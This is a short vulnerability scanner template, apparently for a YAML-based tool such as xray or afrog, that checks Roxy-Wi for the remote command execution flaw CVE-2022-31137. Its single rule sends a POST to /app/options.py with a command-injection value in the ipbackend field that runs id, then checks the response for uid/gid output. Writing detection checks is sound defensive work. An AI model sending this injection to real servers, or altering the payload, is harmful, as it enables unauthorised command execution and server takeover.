CVE-2022-31137: Roxy-Wi options.py 远程命令执行漏洞

id: CVE-2022-31137

info:
  name: Roxy-Wi options.py 远程命令执行漏洞
  author: 123456
  severity: critical
  description: |
    Roxy-Wi options.py 存在远程命令执行漏洞，攻击者通过漏洞可以执行命令获取服务器权限
    app="HAProxy-WI"
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2022-31137
  tags: cve,cve2022,roxywi,options.py,remotecommandexecution,rce
  created: 2023/06/23

rules:
  r0:
    request:
      method: POST
      path: /app/options.py
      body: |
        alert_consumer=1&serv=127.0.0.1&ipbackend=%22%3Bid+%23%23&backend_server=127.0.0.1
    expression: response.status == 200 &&  "((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)".bmatches(response.body)
expression: r0()